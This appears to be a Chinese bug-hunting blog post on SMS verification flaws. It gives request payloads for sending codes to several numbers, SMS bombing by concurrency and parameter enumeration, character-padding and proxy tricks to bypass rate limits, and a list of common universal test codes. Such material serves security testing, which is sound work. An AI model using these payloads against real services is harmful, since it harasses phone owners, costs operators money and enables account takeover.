抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

前言

短信漏洞挖掘还是比较简单的,出现验证码的地方都可以试一试。一般可能存在的点:登录、注册、忘记密码、修改密码、实名认证等。

短信分发

常见的短信分发就是以英文逗号隔开,除此之外,中间的逗号也可以替换为 &; 等特殊字符及其URL编码后去尝试,可能会有意外惊喜。

1
2
3
4
{
"phone":"13333333333,13444444444",
"type":"01"
}

参数双写,说实话json格式数据包使用双写能成功的很少,但不代表没有。

1
2
3
4
5
{
"phone":"13333333333",
"phone":"13444444444",
"type":"01"
}

短信轰炸

常见的方式就是使用并发,笔者常用的工具Burpsuite插件为:turbo-intruder。具体使用方法网上教程也很多,就不在这里赘述了。

在短信轰炸时,除了通过并发进行轰炸外还可以多多关注短信发送的类型,例如常见的短信发送数据包。

单这种情况可以通过遍历type参数,从1-10甚至更多。可能01类型为注册,02类型为忘记密码,03为登录验证码等等情况。

1
2
3
4
{
"phone":"13333333333",
"type":"01"
}

当 type 参数为 “REGISTER” 时,可以尝试”LOGIN”,或着通过该接口从JS文件中去查看 type 存在哪些参数,再进行爆破,此外也可以尝试将 type 字段直接置空,也可能导致漏洞触发。

1
2
3
4
{
"phone":"13333333333",
"type":"REGISTER"
}

以及在微信小程序中可能会出现以下情况,存在 openId 参数,也就是微信用户的Id,可以通过遍历该参数造成短信轰炸,同理当出现 userNo 或者 userId 时也可以遍历。

1
2
3
4
5
{
"phone":"13333333333",
"type":"LOGIN",
"openId":"b68c77c76d6f411abaa1ec4f1ad58972"
}

还可以通过叠加多个参数的形式来发送多条短信验证码。

1
2
3
4
5
6
7
{
"phone":"13333333333",
"phone":"13333333333",
"phone":"13333333333",
"phone":"13333333333",
"type":"01"
}

小Tips

  1. 现由于安全越来越重视,许多网站或小程序数据包直接就是加密后的状态。在这种情况下,观察接口的名称找到发送短信的数据包直接进行并发,说不定也有意外的惊喜。
  2. 如果请求包实在不能进行轰炸,也可以尝试修改请求头,例如UA,Cookie中的参数进行遍历,来达到同样的效果。
  3. 在日常挖掘过程中有遇到过在Intruder模块无法进行轰炸,但是切换到代理池后就可以进行轰炸的情况。暂时也未想明白是什么原因导致的,也可以多尝试尝试。
  4. 现如今许多网站的设计逻辑都是这样的:A手机号请求短信验证码->服务端将短信验证码存储在Redis中,并将验证码发送给用户->用户接收短信验证码并填写->验证码销毁。在这个逻辑过程中可能会存在一个安全漏洞。例如:网站为了防止短信验证码可被爆破存在设计:当短信验证码错误3次或者5次时,将Redis中的短信验证码进行销毁。此时由于短信验证码被销毁了,又可以获取新的短信验证码了,从而造成短信轰炸漏洞。这里的漏洞点在于开发没有合理的控制单个手机号接收短信验证码的时间,例如1分钟只能获取1条。而是从Redis中做判断,当Redis存在该手机号的短信验证码,则提示用户短信已存在。

短信限制绕过

在多次发送短信验证码后可能会出现以下情况。

1
2
3
4
{
"code": 400
"resMsg":"当前手机号码已超过今天验证次数上限"
}

可尝试下列方法进行绕过,第一种利用特殊字符绕过,通过在手机号前后加上特殊字符进行绕过,如下所示。

1
2
3
4
{
"phone":"+13333333333+++",
"type":"01"
}

在手机号码前面可以添加如下所示进行尝试,笔者只是贴出一部分,也可以结合其他字符进行绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
+
+0
+00
+000
+0000
+86
+086
+0086
+00086
+000086
++0
++00
++000
++0000
++086
++0086
++00086
++000086
+++0
+++00
+++000
+++0000
+++086
+++0086
+++00086
+++000086

在手机号码后面可以添加如下特殊字符。

1
2
3
4
5
+
,
;
++
+++

结合参数可构成如下payload。

1
2
3
4
5
6
7
8
9
10
+13333333333,
+013333333333,
+0013333333333,
+00013333333333,
+000013333333333,
+13333333333+
+013333333333+
+0013333333333+
+00013333333333+
+000013333333333+

除此以外还可以在手机号前后加上 空格tab+\r\n&&&|| 或进行url编码后的 %20、%0a、%0b、%0c、%0d 等,也可以达到绕过效果。

第二种,利用Cookie绕过,可以选择将Cookie清空,或替换Cookie中字符。

第三种,修改IP绕过短信限制,可以选择代理池,或通过切换成手机热点的方式,来达到绕过限制的效果。

短信内容可控

发送短信后,查看接收到的短信内是否存在例如:

  1. xx您好,您的短信验证码为000000。
  2. 您好,您的预约已提交,请前往xx地点办理业务
    上述内容,xx就是可控的地方,此类漏洞常见出现的地方有:用户名、手机号、地点等。
    或者在请求包中包含了验证码中的内容,例如存在value字段,那么可以通过修改value字段来达到控制短信验证码的内容。

验证码泄露

在发送短信后,后端返回的响应包中包含了短信验证码,可被直接查看。或在小程序中被加密返回给前端,此时可以尝试反编译小程序拿到加密方式及密钥,对返回包进行解密,获取短信验证码。

万能验证码

开发在测试时期为了方便链调测试,而上线后又忘记删除导致,常见的如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
000000
111111
222222
333333
444444
555555
666666
777777
888888
999999
123456
654321

验证码未绑定

后端没有绑定手机号和验证码导致的缺陷。对A手机号发送短信验证码,使用B手机号配合A手机号验证码进行登录。